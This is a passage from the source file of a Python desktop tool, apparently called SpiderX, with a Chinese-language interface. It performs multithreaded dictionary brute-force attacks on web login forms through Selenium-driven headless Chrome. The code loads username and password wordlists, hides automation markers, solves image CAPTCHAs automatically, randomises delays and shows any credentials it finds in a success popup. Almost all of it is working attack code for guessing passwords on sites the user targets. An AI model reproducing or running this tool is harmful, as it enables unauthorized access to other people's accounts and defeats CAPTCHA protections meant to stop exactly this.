267 | ).grid(row=3, column=0, padx=5, pady=(10, 0), sticky="w")
268 |
269 | self.captcha_input_xpath_entry = ctk.CTkEntry(captcha_options)
270 | self.captcha_input_xpath_entry.grid(row=4, column=0, padx=5, pady=(0, 5), sticky="we")
271 | self.captcha_input_xpath_entry.insert(0, DEFAULT_CONFIG["captcha_input_xpath"])
272 |
273 | # 验证码刷新按钮XPath
274 | ctk.CTkLabel(
275 | captcha_options,
276 | text="验证码刷新按钮XPath:",
277 | font=("Helvetica", 16),
278 | anchor="w"
279 | ).grid(row=5, column=0, padx=5, pady=(10, 0), sticky="w")
280 |
281 | self.captcha_refresh_xpath_entry = ctk.CTkEntry(captcha_options)
282 | self.captcha_refresh_xpath_entry.grid(row=6, column=0, padx=5, pady=(0, 5), sticky="we")
283 | self.captcha_refresh_xpath_entry.insert(0, DEFAULT_CONFIG["captcha_refresh_xpath"])
284 |
285 | current_row += 1
286 |
287 | # ========== 文件选择区域 ==========
288 | self.file_frame = ctk.CTkFrame(self.config_frame, fg_color="transparent")
289 | self.file_frame.grid(row=current_row + 1, column=0, pady=10, sticky="we")
290 | self.file_frame.grid_columnconfigure((0, 1), weight=1)
291 |
292 | self.user_file_btn = ctk.CTkButton(
293 | self.file_frame,
294 | text="选择用户名字典",
295 | command=lambda: self.select_file("username")
296 | )
297 | self.user_file_btn.grid(row=0, column=0, padx=5, sticky="ew")
298 |
299 | self.pass_file_btn = ctk.CTkButton(
300 | self.file_frame,
301 | text="选择密码字典",
302 | command=lambda: self.select_file("password")
303 | )
304 | self.pass_file_btn.grid(row=0, column=1, padx=5, sticky="ew")
305 |
306 | # ========== 控制按钮 ==========
307 | self.control_frame = ctk.CTkFrame(self.config_frame, fg_color="transparent")
308 | self.control_frame.grid(row=current_row + 2, column=0, pady=10, sticky="we")
309 | self.control_frame.grid_columnconfigure((0, 1), weight=1)
310 |
311 | self.start_btn = ctk.CTkButton(
312 | self.control_frame,
313 | text="▶ 开始扫描",
314 | fg_color="#4CAF50",
315 | hover_color="#45a049",
316 | command=self.start_scan
317 | )
318 | self.start_btn.grid(row=0, column=0, padx=5, sticky="ew")
319 |
320 | self.stop_btn = ctk.CTkButton(
321 | self.control_frame,
322 | text="⏹ 停止扫描",
323 | fg_color="#f44336",
324 | hover_color="#da190b",
325 | state="disabled",
326 | command=self.stop_scan
327 | )
328 | self.stop_btn.grid(row=0, column=1, padx=5, sticky="ew")
329 |
330 | # ========== 右侧显示面板 ==========
331 | self.display_frame = ctk.CTkFrame(self, corner_radius=10)
332 | self.display_frame.grid(row=0, column=1, padx=10, pady=10, sticky="nsew")
333 | self.display_frame.grid_columnconfigure(0, weight=1)
334 | self.display_frame.grid_rowconfigure(1, weight=1)
335 |
336 | # 状态栏
337 | self.status_bar = ctk.CTkFrame(self.display_frame, height=40)
338 | self.status_bar.grid(row=0, column=0, sticky="we", padx=10, pady=10)
339 | self.status_bar.grid_columnconfigure(0, weight=1)
340 |
341 | self.status_label = ctk.CTkLabel(
342 | self.status_bar,
343 | text="🟢 就绪",
344 | font=("Helvetica", 14)
345 | )
346 | self.status_label.grid(row=0, column=0, sticky="w", padx=10)
347 |
348 | self.progress_label = ctk.CTkLabel(
349 | self.status_bar,
350 | text="尝试次数: 0",
351 | font=("Helvetica", 12)
352 | )
353 | self.progress_label.grid(row=0, column=1, sticky="e", padx=10)
354 |
355 | # 添加错误统计显示
356 | self.error_stats_label = ctk.CTkLabel(
357 | self.status_bar,
358 | text="错误统计: 0",
359 | font=("Helvetica", 12)
360 | )
361 | self.error_stats_label.grid(row=0, column=2, sticky="e", padx=10)
362 |
363 | # 添加公众号图标
364 | self.qr_frame = ctk.CTkFrame(
365 | self.status_bar,
366 | width=30,
367 | height=30,
368 | fg_color="transparent"
369 | )
370 | self.qr_frame.grid(row=0, column=3, padx=(10, 5))
371 |
372 | # 创建小图标标签
373 | self.info_label = ctk.CTkLabel(
374 | self.qr_frame,
375 | text="ℹ️",
376 | font=("Arial", 16),
377 | text_color="#4a9eff",
378 | cursor="hand2"
379 | )
380 | self.info_label.pack(padx=5, pady=5)
381 |
382 | # 初始化变量
383 | self.qr_window = None
384 |
385 | # 绑定点击事件(改用点击而不是悬停)
386 | self.info_label.bind("", self.toggle_qr_code)
387 |
388 | # 日志区域
389 | self.log_area = ctk.CTkTextbox(
390 | self.display_frame,
391 | wrap="word",
392 | font=("Consolas", 10),
393 | scrollbar_button_color="#4a4a4a"
394 | )
395 | self.log_area.grid(row=1, column=0, padx=10, pady=(0, 10), sticky="nsew")
396 |
397 | # 日志工具栏
398 | self.log_tools = ctk.CTkFrame(self.display_frame, height=30, fg_color="transparent")
399 | self.log_tools.grid(row=2, column=0, sticky="we", padx=10)
400 |
401 | self.clear_log_btn = ctk.CTkButton(
402 | self.log_tools,
403 | text="清空日志",
404 | width=80,
405 | command=self.clear_log
406 | )
407 | self.clear_log_btn.pack(side="right", padx=5)
408 |
409 | def _load_default_files(self):
410 | """安全加载默认字典文件"""
411 |
412 | def load_file(file_type, file_path):
413 | try:
414 | if os.path.exists(file_path):
415 | with open(file_path, "r", encoding='utf-8') as f:
416 | content = f.read().splitlines()
417 | self.after(0, self._show_info, f"已加载{file_type}字典: {file_path} ({len(content)}条)")
418 | return content
419 | else:
420 | self.after(0, self._show_warning, f"默认{file_type}字典不存在: {file_path}")
421 | except Exception as e:
422 | self.after(0, self._show_error, f"加载{file_type}字典失败: {str(e)}")
423 | return []
424 |
425 | global usernames, passwords
426 | usernames = load_file("用户名", DEFAULT_CONFIG["user_file"])
427 | passwords = load_file("密码", DEFAULT_CONFIG["pass_file"])
428 |
429 | def _show_info(self, message):
430 | """线程安全的日志信息显示"""
431 | if hasattr(self, 'log_area'):
432 | self.log_area.configure(state="normal")
433 | self.log_area.insert("end", f"[INFO] {message}\n")
434 | self.log_area.see("end")
435 | self.log_area.configure(state="disabled")
436 |
437 | def _show_warning(self, message):
438 | if hasattr(self, 'log_area'):
439 | self.log_area.configure(state="normal")
440 | self.log_area.insert("end", f"[WARN] {message}\n")
441 | self.log_area.see("end")
442 | self.log_area.configure(state="disabled")
443 |
444 | def _show_error(self, message):
445 | if hasattr(self, 'log_area'):
446 | self.log_area.configure(state="normal")
447 | self.log_area.insert("end", f"[ERROR] {message}\n")
448 | self.log_area.see("end")
449 | self.log_area.configure(state="disabled")
450 |
451 | def select_file(self, file_type):
452 | filename = tk.filedialog.askopenfilename(
453 | title=f"选择{file_type}文件",
454 | filetypes=(("文本文件", "*.txt"),)
455 | )
456 | if filename:
457 | try:
458 | with open(filename, "r", encoding='utf-8') as f:
459 | content = f.read().splitlines()
460 | if file_type == "username":
461 | global usernames
462 | usernames = content
463 | else:
464 | global passwords
465 | passwords = content
466 | self._show_info(f"已加载 {file_type} 文件: {filename} ({len(content)}条)")
467 | except Exception as e:
468 | self._show_error(f"文件加载失败: {str(e)}")
469 |
470 | def clear_log(self):
471 | if hasattr(self, 'log_area'):
472 | self.log_area.configure(state="normal")
473 | self.log_area.delete("1.0", "end")
474 | self.log_area.configure(state="disabled")
475 |
476 | def start_scan(self):
477 | if not self.running:
478 | self.running = True
479 | self.start_btn.configure(state="disabled")
480 | self.stop_btn.configure(state="normal")
481 | self.status_label.configure(text="🔴 扫描进行中", text_color="#ff4444")
482 |
483 | url = self.url_entry.get()
484 | name_elem = self.name_xpath_entry.get()
485 | pass_elem = self.pass_xpath_entry.get()
486 | btn_elem = self.btn_xpath_entry.get()
487 |
488 | self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_CONFIG["threads"])
489 | self.future = self.executor.submit(
490 | self.start_attack,
491 | url,
492 | name_elem,
493 | pass_elem,
494 | btn_elem
495 | )
496 |
497 | def stop_scan(self):
498 | if self.running:
499 | self.running = False
500 | self.executor.shutdown(wait=False)
501 | self.start_btn.configure(state="normal")
502 | self.stop_btn.configure(state="disabled")
503 | self.status_label.configure(text="🟡 已停止", text_color="#ffd700")
504 | self._show_info("扫描已手动终止")
505 | numbers.reset() # 重置计数器
506 |
507 | def start_attack(self, url, name_elem, pass_elem, btn_elem):
508 | global USER, PWD
509 | start_time = time.time()
510 | login_success = False
511 | num_threads = DEFAULT_CONFIG["threads"]
512 |
513 | with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
514 | for username in usernames:
515 | if not self.running or login_success:
516 | break
517 |
518 | # 分割密码列表
519 | password_chunks = self.chunk_list(passwords, num_threads)
520 |
521 | # 为当前用户提交多个任务
522 | futures = [
523 | executor.submit(
524 | self.process_password_chunk,
525 | username,
526 | chunk,
527 | url,
528 | name_elem,
529 | pass_elem,
530 | btn_elem
531 | ) for chunk in password_chunks
532 | ]
533 |
534 | try:
535 | for future in concurrent.futures.as_completed(futures):
536 | result = future.result()
537 | if result:
538 | USER, PWD = result
539 | login_success = True
540 | # 取消其他任务
541 | for f in futures:
542 | f.cancel()
543 | break
544 | except concurrent.futures.CancelledError:
545 | pass
546 |
547 | if login_success:
548 | break
549 |
550 | end_time = time.time()
551 | self._show_info(f"总耗时: {end_time - start_time:.2f} 秒")
552 |
553 | if login_success:
554 | self._show_info(f"✅ 登录成功! 用户名: {USER} 密码: {PWD}")
555 | self.after(0, self.show_success_alert)
556 | else:
557 | self._show_info("❌ 所有组合尝试完毕,未找到有效凭证")
558 |
559 | @staticmethod
560 | def chunk_list(lst, n):
561 | """将列表分割为n个近似相等的块"""
562 | k, m = divmod(len(lst), n)
563 | return [lst[i * k + min(i, m):(i + 1) * k + min(i + 1, m)] for i in range(n)]
564 |
565 | def process_password_chunk(self, username, password_chunk, url, name_elem, pass_elem, btn_elem):
566 | driver = None
567 | try:
568 | # 优化浏览器配置
569 | options = webdriver.ChromeOptions()
570 |
571 | # 基础配置
572 | options.add_argument("--no-sandbox")
573 | options.add_argument("--disable-dev-shm-usage")
574 | options.add_argument("--disable-gpu")
575 | options.add_argument("--disable-extensions")
576 | options.add_argument("--disable-infobars")
577 |
578 | # 性能优化
579 | options.add_argument("--disable-logging")
580 | options.add_argument("--disable-default-apps")
581 | options.add_argument("--disable-popup-blocking")
582 | options.add_argument("--disable-notifications")
583 |
584 | # 内存优化
585 | options.add_argument("--disable-application-cache")
586 | options.add_argument("--disable-web-security")
587 | options.add_argument("--disk-cache-size=1")
588 | options.add_argument("--media-cache-size=1")
589 | options.add_argument("--disable-gpu")
590 | options.add_argument('--no-sandbox')
591 | options.add_argument('--disable-dev-shm-usage')
592 |
593 | # 添加实验性选项
594 | options.add_experimental_option("excludeSwitches", ["enable-automation", "enable-logging"])
595 | options.add_experimental_option("useAutomationExtension", False)
596 |
597 | # 根据配置决定是否使用无头模式
598 | if DEFAULT_CONFIG["headless"]:
599 | options.add_argument("--headless")
600 |
601 | # 创建服务对象
602 | service = webdriver.ChromeService(
603 | log_output=os.devnull
604 | )
605 |
606 | # 创建驱动
607 | driver = webdriver.Chrome(
608 | options=options,
609 | service=service
610 | )
611 | captcha_handler = CaptchaHandler()
612 | # 设置页面加载超时
613 | driver.set_page_load_timeout(DEFAULT_CONFIG["timeout"])
614 | driver.set_script_timeout(DEFAULT_CONFIG["timeout"])
615 |
616 | for password in password_chunk:
617 | if not self.running:
618 | break
619 |
620 | retry_count = 0
621 | max_retries = DEFAULT_CONFIG["captcha_retry_limit"]
622 |
623 | while retry_count < max_retries and self.running:
624 | try:
625 | # 访问目标URL
626 | driver.get(url)
627 |
628 | # 获取元素
629 | username_field = WebDriverWait(driver, 1).until(
630 | EC.presence_of_element_located((By.XPATH, name_elem))
631 | )
632 | password_field = WebDriverWait(driver, 1).until(
633 | EC.presence_of_element_located((By.XPATH, pass_elem))
634 | )
635 | submit_btn = WebDriverWait(driver, 1).until(
636 | EC.element_to_be_clickable((By.XPATH, btn_elem))
637 | )
638 |
639 | # 填充表单
640 | username_field.clear()
641 | username_field.send_keys(username)
642 | password_field.clear()
643 | password_field.send_keys(password)
644 |
645 | # 处理验证码(如果需要)
646 | if DEFAULT_CONFIG["has_captcha"]:
647 | captcha_success = self.handle_captcha(driver,captcha_handler)
648 | if not captcha_success:
649 | retry_count += 1
650 | self._show_info(f"验证码处理失败,重试第 {retry_count} 次")
651 | continue
652 |
653 | # 点击提交
654 | submit_btn.click()
655 |
656 | # 检查登录结果
657 | if self.check_login_success(driver,url):
658 | current_count = numbers.increment()
659 | self._show_info(f"尝试[{current_count}] 用户:{username} 密码:{password} 成功!!!")
660 | return (username, password)
661 |
662 | # 检查验证码错误
663 | if DEFAULT_CONFIG["has_captcha"] and self.check_captcha_error(driver):
664 | retry_count += 1
665 | self._show_info(f"验证码错误,重试第 {retry_count} 次: {username}:{password}")
666 | if retry_count < max_retries:
667 | self.refresh_captcha(driver)
668 | time.sleep(0.1)
669 | continue
670 | else:
671 | # 如果不是验证码错误,说明是密码错误
672 | current_count = numbers.increment()
673 | self._show_info(f"尝试[{current_count}] 用户:{username} 密码:{password} 错误")
674 | break # 密码错误,尝试下一个密码
675 |
676 | except Exception as e:
677 | self._show_error(f"登录尝试异常: {str(e)}")
678 | retry_count += 1
679 | if retry_count < max_retries:
680 | try:
681 | driver.refresh()
682 |
683 | except:
684 | pass
685 | continue
686 | else:
687 | break
688 |
689 | finally:
690 | time.sleep(random.uniform(DEFAULT_CONFIG["min_delay"], DEFAULT_CONFIG["max_delay"]))
691 |
692 | except Exception as e:
693 | self._show_error(f"浏览器操作失败: {str(e)}")
694 | finally:
695 | if driver:
696 | try:
697 | driver.quit()
698 | except:
699 | pass
700 | return None
701 |
702 | def check_captcha_error(self, driver):
703 | """检查是否为验证码错误"""
704 | try:
705 | # 检查页面中是否包含验证码错误的文本
706 | error_texts = ["验证码错误", "验证码不正确", "验证码输入有误", "验证码失效"]
707 | page_source = driver.page_source.lower()
708 | return any(text.lower() in page_source for text in error_texts)
709 | except Exception as e:
710 | logging.warning(f"验证码错误检查出现异常: {str(e)}")
711 | return False
712 |
713 | def refresh_captcha(self, driver):
714 | """刷新验证码"""
715 | try:
716 | # 尝试点击验证码图片来刷新
717 | try:
718 | captcha_img = driver.find_element(By.XPATH, DEFAULT_CONFIG["captcha_xpath"])
719 | driver.execute_script("arguments[0].click();", captcha_img)
720 | time.sleep(0.1)
721 | return True
722 | except:
723 | pass
724 |
725 | # 如果点击失败,尝试刷新页面
726 | driver.refresh()
727 | # time.sleep(1)
728 | return True
729 |
730 | except Exception as e:
731 | self._show_error(f"刷新验证码失败: {str(e)}")
732 | return False
733 |
734 | def check_login_success(self,driver,url):
735 | try:
736 |
737 | #举例场景:错误登录页面跳转导致登录成功
738 | # driver.get(url)
739 | # 场景一: 登录成功后URL改变
740 | # print(driver.current_url)
741 | # time.sleep(0.2)
742 | # if 'login' not in driver.current_url or 'dashboard' in driver.current_url :
743 | # self._show_info("登录疑似成功,URL改变。")
744 | # return True
745 | if url!=driver.current_url:
746 | self._show_info("登录疑似成功,URL改变。")
747 | return True
748 | # 检查URL变化,假设登录成功后URL会包含某些关键字
749 | if '错误' in driver.page_source:
750 | return False
751 | # 场景三: 特殊元素(这为)
752 | success_message_elements = [
753 | "//div[contains(text(), '欢迎')]",
754 | "//div[contains(text(), '成功')]",
755 | "//div[contains(@class, 'logged-in')]"
756 | ]
757 | for xpath in success_message_elements:
758 | try:
759 | element = driver.find_element(By.XPATH, xpath)
760 | if element.is_displayed():
761 | self._show_info(f"登录成功,页面元素检测通过:{xpath}")
762 | return True
763 | except NoSuchElementException:
764 | continue
765 |
766 | # 检查是否还存在登录表单
767 | try:
768 | login_form = driver.find_element(By.XPATH, DEFAULT_CONFIG["name_xpath"])
769 | if not login_form.is_displayed():
770 | self._show_info("登录表单不可见,可能登录成功。")
771 | return True
772 | except NoSuchElementException:
773 | self._show_info("登录表单不可见,可能登录成功。")
774 | return True
775 | return False
776 | except Exception as e:
777 | self._show_error(f"检查登录成功时发生错误:{str(e)}")
778 | return False
779 |
780 | def _update_progress(self, count):
781 | self.progress_label.configure(text=f"尝试次数: {count}")
782 |
783 | def show_success_alert(self):
784 | """美观的成功提示弹窗"""
785 | success_win = ctk.CTkToplevel(self)
786 | success_win.title("🎉 登录成功")
787 | success_win.geometry("400x250")
788 |
789 | # 主容器
790 | main_frame = ctk.CTkFrame(success_win, corner_radius=15)
791 | main_frame.pack(expand=True, fill="both", padx=20, pady=20)
792 |
793 | # 图标部分
794 | icon_frame = ctk.CTkFrame(main_frame, fg_color="transparent")
795 | icon_frame.pack(pady=(15, 10))
796 | ctk.CTkLabel(
797 | icon_frame,
798 | text="✅",
799 | font=("Arial", 32),
800 | text_color="#4CAF50"
801 | ).pack()
802 |
803 | # 信息部分
804 | info_frame = ctk.CTkFrame(main_frame, fg_color="transparent")
805 | info_frame.pack(pady=10)
806 |
807 | ctk.CTkLabel(
808 | info_frame,
809 | text="发现有效凭证",
810 | font=("Microsoft YaHei", 18, "bold"),
811 | text_color="#4CAF50"
812 | ).pack(pady=5)
813 |
814 | info_text = f"用户名:{USER}\n密码:{PWD}"
815 | ctk.CTkLabel(
816 | info_frame,
817 | text=info_text,
818 | font=("Consolas", 14),
819 | justify="left"
820 | ).pack(pady=10)
821 |
822 | # 操作按钮
823 | btn_frame = ctk.CTkFrame(main_frame, fg_color="transparent")
824 | btn_frame.pack(pady=(0, 15))
825 |
826 | ctk.CTkButton(
827 | btn_frame,
828 | text="确 定",
829 | width=100,
830 | fg_color="#4CAF50",
831 | hover_color="#45a049",
832 | font=("Microsoft YaHei", 12),
833 | command=success_win.destroy
834 | ).pack()
835 |
836 | # 窗口设置
837 | success_win.resizable(False, False)
838 | success_win.grab_set() # 保持窗口置顶
839 | self.stop_scan()
840 |
841 | def handle_captcha(self,driver, captcha_handler):
842 | # """处理验证码识别流程"""
843 | retry_count = 0
844 | while retry_count < DEFAULT_CONFIG["captcha_retry_limit"]:
845 | try:
846 | # 等待验证码图片加载
847 | captcha_img = WebDriverWait(driver, DEFAULT_CONFIG["captcha_timeout"]).until(
848 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_xpath"]))
849 | )
850 |
851 | # 等待图片完全加载
852 | # time.sleep(1)
853 |
854 | # 确保图片已完全加载
855 | try:
856 | is_loaded = driver.execute_script("""
857 | var img = arguments[0];
858 | return img.complete && img.naturalWidth !== 0;
859 | """, captcha_img)
860 |
861 | if not is_loaded:
862 | time.sleep(0.5)
863 | except:
864 | pass
865 |
866 | # 获取验证码图片
867 | try:
868 | image_data = captcha_img.screenshot_as_png
869 | except:
870 | img_src = captcha_img.get_attribute('src')
871 | if not img_src:
872 | logging.error("验证码图片源为空")
873 | retry_count += 1
874 | self.refresh_captcha(driver) # 只在获取失败时刷新
875 | # time.sleep(1)
876 | continue
877 |
878 | if img_src.startswith('data:image'):
879 | try:
880 | base64_data = img_src.split(',')[1]
881 | image_data = base64.b64decode(base64_data)
882 | except Exception as e:
883 | logging.error(f"Base64解码失败: {str(e)}")
884 | retry_count += 1
885 | self.refresh_captcha(driver) # 只在解码失败时刷新
886 | # time.sleep(1)
887 | continue
888 | else:
889 | try:
890 | response = requests.get(img_src, timeout=3)
891 | image_data = response.content
892 | except:
893 | logging.error("获取验证码图片失败")
894 | retry_count += 1
895 | self.refresh_captcha(driver) # 只在获取失败时刷新
896 | time.sleep(0.2)
897 | continue
898 |
899 | # 识别验证码
900 | captcha_text = captcha_handler.recognize_captcha(image_data)
901 | if not captcha_text:
902 | logging.warning("验证码识别结果为空")
903 | retry_count += 1
904 | self.refresh_captcha(driver) # 只在识别失败时刷新
905 | # time.sleep(1)
906 | continue
907 |
908 | # logging.info(f"识别到的验证码: {captcha_text}")
909 |
910 | # 填写验证码
911 | try:
912 | captcha_input = WebDriverWait(driver, 1).until(
913 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_input_xpath"]))
914 | )
915 |
916 | captcha_input.clear()
917 | captcha_input.send_keys(captcha_text)
918 | # time.sleep(0.2)
919 | return True # 成功输入验证码后直接返回
920 |
921 | except Exception as e:
922 | logging.error(f"验证码输入失败: {str(e)}")
923 | retry_count += 1
924 | self.refresh_captcha(driver) # 只在输入失败时刷新
925 | time.sleep(0.2)
926 | continue
927 |
928 | except Exception as e:
929 | logging.error(f"验证码处理失败: {str(e)}")
930 | retry_count += 1
931 | self.refresh_captcha(driver) # 只在处理失败时刷新
932 | time.sleep(0.2)
933 | continue
934 |
935 | return False
936 |
937 | def toggle_captcha(self):
938 | """切换验证码识别功能"""
939 | DEFAULT_CONFIG["has_captcha"] = self.captcha_enabled.get()
940 | # 更新配置
941 | DEFAULT_CONFIG["captcha_xpath"] = self.captcha_xpath_entry.get()
942 | DEFAULT_CONFIG["captcha_input_xpath"] = self.captcha_input_xpath_entry.get()
943 | DEFAULT_CONFIG["captcha_refresh_xpath"] = self.captcha_refresh_xpath_entry.get()
944 |
945 | if DEFAULT_CONFIG["has_captcha"]:
946 | self._show_info("已启用验证码识别")
947 | else:
948 | self._show_info("已禁用验证码识别")
949 |
950 | def show_error_dialog(self, title, error_type, error_msg):
951 | """显示错误弹窗"""
952 | error_win = ctk.CTkToplevel(self)
953 | error_win.title(title)
954 | error_win.geometry("400x200")
955 |
956 | # 主容器
957 | main_frame = ctk.CTkFrame(error_win, corner_radius=15)
958 | main_frame.pack(expand=True, fill="both", padx=20, pady=20)
959 |
960 | # 错误图标
961 | icon_frame = ctk.CTkFrame(main_frame, fg_color="transparent")
962 | icon_frame.pack(pady=(15, 10))
963 | ctk.CTkLabel(
964 | icon_frame,
965 | text="❌",
966 | font=("Arial", 32),
967 | text_color="#f44336"
968 | ).pack()
969 |
970 | # 错误信息
971 | info_frame = ctk.CTkFrame(main_frame, fg_color="transparent")
972 | info_frame.pack(pady=10)
973 |
974 | ctk.CTkLabel(
975 | info_frame,
976 | text=error_type,
977 | font=("Microsoft YaHei", 18, "bold"),
978 | text_color="#f44336"
979 | ).pack(pady=5)
980 |
981 | ctk.CTkLabel(
982 | info_frame,
983 | text=error_msg,
984 | font=("Consolas", 12),
985 | justify="left",
986 | wraplength=300 # 文本自动换行
987 | ).pack(pady=10)
988 |
989 | # 确定按钮
990 | btn_frame = ctk.CTkFrame(main_frame, fg_color="transparent")
991 | btn_frame.pack(pady=(0, 15))
992 |
993 | ctk.CTkButton(
994 | btn_frame,
995 | text="确 定",
996 | width=100,
997 | fg_color="#f44336",
998 | hover_color="#da190b",
999 | font=("Microsoft YaHei", 12),
1000 | command=error_win.destroy
1001 | ).pack()
1002 |
1003 | # 窗口设置
1004 | error_win.resizable(False, False)
1005 | error_win.grab_set() # 模态窗口
1006 |
1007 | # 计算居中位置
1008 | error_win.update_idletasks() # 更新窗口大小
1009 | width = error_win.winfo_width()
1010 | height = error_win.winfo_height()
1011 | x = (error_win.winfo_screenwidth() // 2) - (width // 2)
1012 | y = (error_win.winfo_screenheight() // 2) - (height // 2)
1013 |
1014 | # 设置窗口位置
1015 | error_win.geometry(f'+{x}+{y}')
1016 | error_win.focus_force() # 强制获取焦点
1017 |
1018 | def on_closing(self):
1019 | """处理窗口关闭事件"""
1020 | try:
1021 | if self.running:
1022 | self.stop_scan()
1023 | if self.executor:
1024 | self.executor.shutdown(wait=False)
1025 | self.quit()
1026 | except Exception as e:
1027 | self.show_error_dialog(
1028 | "❌ 程序错误",
1029 | "程序关闭异常",
1030 | f"错误信息:{str(e)}"
1031 | )
1032 | sys.exit(1)
1033 |
1034 | def setup_logger(self):
1035 | """设置日志记录器"""
1036 | self.logger = logging.getLogger('error_logger')
1037 | self.logger.setLevel(logging.ERROR)
1038 |
1039 | # 创建错误日志文件处理器
1040 | error_handler = logging.FileHandler('error_logs.txt', encoding='utf-8')
1041 | error_handler.setLevel(logging.ERROR)
1042 |
1043 | # 设置日志格式
1044 | formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
1045 | error_handler.setFormatter(formatter)
1046 |
1047 | self.logger.addHandler(error_handler)
1048 |
1049 | def log_error(self, error_type, error_msg):
1050 | """记录错误并更新计数"""
1051 | try:
1052 | # 更新错误计数
1053 | if error_type in self.error_counter:
1054 | self.error_counter[error_type] += 1
1055 |
1056 | # 记录错误日志
1057 | self.logger.error(f"{error_type}: {error_msg}")
1058 |
1059 | # 更新界面显示
1060 | self.update_error_stats()
1061 | except Exception as e:
1062 | print(f"日志记录失败: {str(e)}")
1063 |
1064 | def update_error_stats(self):
1065 | """更新错误统计显示"""
1066 | total_errors = sum(self.error_counter.values())
1067 | total_attempts = numbers.get_value()
1068 |
1069 | if total_attempts > 0:
1070 | error_rate = (total_errors / total_attempts) * 100
1071 | stats_text = (
1072 | f"错误统计:\n"
1073 | f"网络错误: {self.error_counter['network_errors']}\n"
1074 | f"元素定位错误: {self.error_counter['xpath_errors']}\n"
1075 | f"验证码错误: {self.error_counter['captcha_errors']}\n"
1076 | f"浏览器错误: {self.error_counter['browser_errors']}\n"
1077 | f"其他错误: {self.error_counter['other_errors']}\n"
1078 | )
1079 |
1080 | # 更新界面显示
1081 | self.error_stats_label.configure(text=stats_text)
1082 |
1083 | def toggle_qr_code(self, event=None):
1084 | """切换二维码显示状态"""
1085 | if self.qr_window:
1086 | self.hide_qr_code()
1087 | else:
1088 | self.show_qr_code()
1089 |
1090 | def show_qr_code(self):
1091 | """显示二维码窗口"""
1092 | try:
1093 | if self.qr_window:
1094 | return
1095 |
1096 | # 创建窗口
1097 | self.qr_window = ctk.CTkToplevel(self)
1098 | self.qr_window.title("扫码关注")
1099 | self.qr_window.geometry("200x240") # 先设置大小
1100 |
1101 | # 主框架
1102 | main_frame = ctk.CTkFrame(self.qr_window, corner_radius=10)
1103 | main_frame.pack(expand=True, fill="both", padx=5, pady=5)
1104 |
1105 | # 加载二维码图片
1106 | qr_path = os.path.join("resources", "qrcode.jpg")
1107 | if os.path.exists(qr_path):
1108 | img = Image.open(qr_path)
1109 | if img.mode != 'RGB':
1110 | img = img.convert('RGB')
1111 |
1112 | self.qr_image = ctk.CTkImage(
1113 | light_image=img,
1114 | dark_image=img,
1115 | size=(180, 180)
1116 | )
1117 |
1118 | ctk.CTkLabel(
1119 | main_frame,
1120 | image=self.qr_image,
1121 | text=""
1122 | ).pack(pady=(10, 5))
1123 |
1124 | ctk.CTkLabel(
1125 | main_frame,
1126 | text="扫码关注公众号(感谢感谢🐟)",
1127 | font=("Microsoft YaHei", 12)
1128 | ).pack(pady=5)
1129 |
1130 | # 窗口设置
1131 | self.qr_window.resizable(False, False)
1132 | self.qr_window.transient(self)
1133 | self.qr_window.grab_set()
1134 |
1135 | # 绑定关闭事件
1136 | self.qr_window.protocol("WM_DELETE_WINDOW", self.hide_qr_code)
1137 |
1138 | # 计算居中位置
1139 | self.qr_window.update_idletasks() # 更新窗口大小
1140 | window_width = self.qr_window.winfo_width()
1141 | window_height = self.qr_window.winfo_height()
1142 |
1143 | # 获取主窗口位置和大小
1144 | main_x = self.winfo_x()
1145 | main_y = self.winfo_y()
1146 | main_width = self.winfo_width()
1147 | main_height = self.winfo_height()
1148 |
1149 | # 计算居中坐标
1150 | x = main_x + (main_width - window_width) // 2
1151 | y = main_y + (main_height - window_height) // 2
1152 |
1153 | # 设置窗口位置
1154 | self.qr_window.geometry(f"+{x}+{y}")
1155 |
1156 | except Exception as e:
1157 | print(f"显示二维码失败: {str(e)}")
1158 | if self.qr_window:
1159 | self.qr_window.destroy()
1160 | self.qr_window = None
1161 |
1162 | def hide_qr_code(self):
1163 | """隐藏二维码窗口"""
1164 | try:
1165 | if hasattr(self, 'qr_image'):
1166 | del self.qr_image
1167 | if self.qr_window:
1168 | self.qr_window.destroy()
1169 | self.qr_window = None
1170 | except Exception as e:
1171 | print(f"隐藏二维码失败: {str(e)}")
1172 |
1173 | if __name__ == "__main__":
1174 | try:
1175 | logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
1176 | app = LoginGUI()
1177 | # 设置图标
1178 | app.mainloop()
1179 | except Exception as e:
1180 | # 创建一个基础的错误窗口,因为GUI可能还未初始化
1181 | error_win = tk.Tk()
1182 | error_win.title('SpiderX') # 更改标题名字
1183 | error_win.geometry('400x450')
1184 | error_win.iconbitmap('spider.ico')
1185 | error_win.withdraw() # 隐藏主窗口
1186 | tk.messagebox.showerror(
1187 | "❌ 致命错误",
1188 | f"程序发生致命错误:\n\n请检查程序环境或联系开发者。"
1189 | )
1190 | sys.exit(1)
1191 |
--------------------------------------------------------------------------------